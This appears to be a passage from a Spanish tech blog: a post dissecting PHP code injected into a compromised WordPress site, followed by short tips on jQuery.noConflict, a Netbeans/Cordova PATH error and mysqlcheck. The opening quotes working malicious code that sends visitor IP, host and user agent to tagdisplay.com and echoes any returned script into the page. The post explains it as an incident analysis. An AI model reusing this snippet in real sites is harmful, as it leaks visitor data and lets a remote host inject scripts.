$wp_anscf090485="http://"."tag"."display".".com/display"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_anscf0485);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_anscf090485);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_0485anscf = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_0485anscf,1,3) === 'scr' ){ echo $wp_0485anscf; }
#/12a377#
?>

Le pregunto que qué hace ese código ahí y dice que cree que eso está bien. ¿Seguro? Si miramos el código vemos que:

1. deshabilita los mensaje de error.
2. recoge toda la información del cliente ($_SERVER[‘HTTP_USER_AGENT’])
3. compone una dirección: http://tagdisplay.com/display/?ip= donde le manda la IP del servidor, los datos del cliente y de donde viene.
4. le manda los datos y espera una respuesta.
5. si en la respuesta hay una cadena ‘scr’ la añade al documento.

A la vista de esta información, ¿qué creéis vosotros que está pasando? Si os digo que el dominio esta registrado en China [1] y [2], ¿os ayuda en algo? Por cierto, ¿cómo de actualizado pensáis que tenía su CMS?

[1] http://www.whois.net/whois/tagdisplay.com
[2] https://www.google.es/maps/place/Beijing/@39.933095,116.452758,17z/data=!3m1!4b1!4m2!3m1!1s0x35f1aced10d7a5e9:0x6f31f92b8bf22cca

jQuery logo

Usar jquery.noConflict en plantillas html pre-procesadas

Si alguna vez necesitáis no usar $ para jquery, porque estáis usando una plantilla HTML que debe ser pre-procesada antes de mostrarse y el procesador usa esa misma variable, podéis hacer uso de jquery.noConflict(). A la luz de uno de sus ejemplos:

// http://api.jquery.com/jquery.noconflict/
$.noConflict();
jQuery( document ).ready(function( $ ) {
// Code that uses jQuery's $ can follow here.
});

podemos cambiarlo para no usar $ (que, repito, es intepretada por el procesador de la plantilla):

jQuery.noConflict();
jQuery( document ).ready(function( __ ){
// código que usa __ en lugar de $
__('body').addClass('no-backbround');
});

Seguro que muchos ya lo sabíais pero lo dejo para los que no 😉

Logo de phonegap

Netbeans no encuentra Cordova al crear un proyecto “Cordova application”

Con la idea de probar Cordova me decido a instalarlo sobre Netbeans 8 como IDE. Según las indicaciones de Netbeans el proceso está chupado: instalas nodejs, instalas Git, instalas cordova [2], abres Netbeans y sigues el asistente …hasta la pantalla del error (que nadie esperaba):

Netbeans cannot found cordova or git on your PATH. Please, install cordova and git.

image

Se acabó lo que se daba. Tras emplear un rato, más largo de lo que me hubiera gustado, encontré la solución al leer este bug de Netbeans: “Bug 234870Cordova or Git not found on Windows”. A pesar de que el mensaje dice que no ha encontrado cordova o git lo que quiere decir es que no ha encontrado a Cordova y a Git (a los dos). Revisando qué tengo en el PATH veo que me falta la referencia a Git, con lo que al incluirla todo funciona como debiera.

Espero que esto le ayude a alguien.

Logotipo de mysql

Comprobación del estado de las tablas de una base de datos mysql

Haciendo uso de mysqlcheck podemos comprobar el estado de las tablas de una, o varias, bases de datos en un servidor mysql. Su uso es muy sencillo:

mysqlcheck base-de-datos -u usuario -p password

Al hacerlo, mysqlcheck nos genera una salida con las tablas de la base de datos indicada y su estado:

base-de-datos.tabla-1 OK
base-de-datos.tabla-2 OK
base-de-datos.tabla-3 OK
base-de-datos.tabla-4
warning : Table is marked as crashed
warning : 2 clients are using or haven't closed the table properly
warning : Size of datafile is: 448416 Should be: 447568
error : Wrong record length 168 of 176 at 87156
error : Corrupt

Si la lista es muy larga la selección de sólo aquellas tablas con problemas puede no ser inmediata. Un modo de verlas sólo a estas es ejecutando:

mysqlcheck base-de-datos -u usuario -p password | grep -v OK$

con lo que seleccionamos sólo las lineas que no terminen en OK, que son las que tienen problemas:

base-de-datos.tabla-4
warning : Table is marked as crashed
warning : 2 clients are using or haven't closed the table properly
warning : Size of datafile is: 448416 Should be: 447568
error : Wrong record length 168 of 176 at 87156
error : Corrupt

Ahí os queda eso 🙂 Ah, un modo de reparar todas las tablas de todas las bases de datos lo podéis encontrar en Shell script to optimize all tables in all databases (MySQL)